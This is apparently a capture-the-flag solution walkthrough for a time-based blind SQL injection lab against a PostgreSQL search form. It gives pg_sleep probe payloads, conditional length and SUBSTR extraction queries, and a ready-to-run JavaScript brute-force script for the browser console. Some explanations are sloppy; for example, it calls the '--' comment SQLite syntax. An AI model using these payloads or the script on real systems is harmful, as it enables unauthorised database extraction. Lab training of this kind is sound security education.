Time based blind SQL injection

Solution

1. Enter different payloads, for example:

• qwe
• capybara's name from table below
• ' OR 1=1 --
• ' || pg_sleep(1) --
• ' || pg_sleep(0) --

send request and observe the result.

The only difference (except for the error messages) we can notice is that pg_sleep(1) is executed considerably longer than other queries. Then this is the time based blind sql injection.

The delay can be observed in the network tab of defelopers tools, or in the HTTP proxy tools such as Burp Suite

Since we know that flag is in the flag table and we know the sql injection type, we can do perform our attack. To do so we need to find a lenght of flag first.

The attack is conducted the same way as the boolean based blind, but except for the fact we cannot see the result of the execution, but we can control and measure the execution time of the query.

2. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) > 10 THEN pg_sleep(1) END) IS NOT NULL -- and observe the delay.

Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) > 10 THEN pg_sleep(1) END) IS NOT NULL -- :

• injected quote ' closes the name value
• OR add a logical operator "or", to make sure we will get our result without regards of the first query (select 1 from capybaras where name="input") results (if the first query returns false)
• LENGTH add a new command to get the lenght of string
• SELECT - get result of the following query
• CASE WHEN - start of the conditional statement (like IF)
• LENGTH((SELECT flag FROM flag LIMIT 1)) - get lenght of first row of flag column of flag table
• > 10 check if result lenght is more than 10 sumbols
• THEN pg_sleep(1) END - if true, execute sleep function that will cause 1 second delay of the request, otherwise do nothing
• IS NOT NULL ensures that select case returns a boolean value that can be used in OR statement
• -- is a comment symbol in SQLite syntax. Everything after the comment symbol is meaningless to SQL parser

So we have created such query that returns true if the lenght of flag is greater than 10.

If the LENGTH of flag is greater that 10 we should get 1 second delay of the response otherwise it will be executed instantly. Now we need to find the exact size. We can do it by trying every possible lenght from 0 to infnite with = operator, or by performing binary search with <,> and = operators.

3. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) < 30 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.

We should get 1 second delay and our flag is less than 30 chars

4. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) > 24 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.

We should get 1 second delay and our flag is less than 24 chars

5. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) < 26 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.

We should get 1 second delay and our flag is less than 26 chars

6. Enter ' OR (SELECT CASE WHEN LENGTH((SELECT flag FROM flag LIMIT 1)) = 25 THEN pg_sleep(1) END) IS NOT NULL -- send request and observe the output.

We should get 1 second delay and our flag is equals to 25 chars

9. Now ne know the lenght of the flag, and we need to iterate through all possible values for each letter.

The query to do so will be like this' OR (SELECT CASE WHEN SUBSTR((SELECT flag FROM flag limit 1), 1, 1) = 'f' THEN pg_sleep(1) END) IS NOT NULL --

Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR (SELECT CASE WHEN SUBSTR((SELECT flag FROM flag limit 1), 1, 1) = 'f' THEN pg_sleep(1) END) IS NOT NULL -- :

• injected quote ' closes the name value
• OR add a logical operator "or", to make sure we will get our result without regards of the first query (select 1 from capybaras where name="input") results (if the first query returns false)
• LENGTH add a new command to get the lenght of string
• SELECT - get result of the following query
• CASE WHEN - start of the conditional statement (like IF)
• SUBSTR gets the substring of a string. The first argument of this function is a string, the second is position from left, and the third is the lenght of substring. SUBSTR("str",1,2) will return "st".
• SELECT flag FROM flag LIMIT 1 - get value of column flag of first row of table flag
• 1, 1 tells substr
• = 'f' check if SUBSTR result is equal to 'f'
• THEN pg_sleep(1) END - if true, execute sleep function that will cause 1 second delay of the request, otherwise do nothing
• IS NOT NULL ensures that select case returns a boolean value that can be used in OR statement
• -- is a comment symbol in SQLite syntax. Everything after the comment symbol is meaningless to SQL parser

So we have created such query that will have a 1 second delay if the first char of flag is equals to 'f'.

Lets automate the process of bruteforcing each charecter of flag. The following code sends every possible chars one by one for each position of the flag, untill the responci will be true.

async function bruteForceSQLInjection(baseUrl, paramName, charset, maxLength) {
    let result = '';
    for (let i = 1; i <= maxLength; i++) {
        for (let char of charset) {
            // Update the payload to match the provided query format
            const payload = `' OR (SELECT CASE WHEN SUBSTR((SELECT flag FROM flag limit 1), ${i}, 1) = '${char}' THEN pg_sleep(1) END) IS NOT NULL --`;
            const body = new URLSearchParams();
            body.append(paramName, payload);
            try {
                const startTime = new Date();
                const response = await fetch(baseUrl, {
                    method: 'POST',
                    body: body,
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded'
                    }
                });
                const endTime = new Date();
                const requestDuration = (endTime - startTime) / 1000; // Convert to seconds

                // Check if the request took significantly longer, indicating the pg_sleep was triggered
                if (requestDuration > 1) { // Adjust this threshold based on expected network latency
                    result += char;
                    console.log('Found character:', char);
                    break; // Move to the next character position
                }
            } catch (error) {
                console.error('Error in request:', error);
            }
        }
    }
    console.log('Extracted string:', result);
}

// Usage
bruteForceSQLInjection(
    '/', // URL
    'search_query', // Post parameter name
    'abcdefghijklmnopqrstuvwxyz}_{0123456789', // Character set to iterate over
    25 // Length of the string to brute force
);
                    

10. Copy and paste this code to browser console and it should output the flag. Edit settings on the bottom if its not working as expected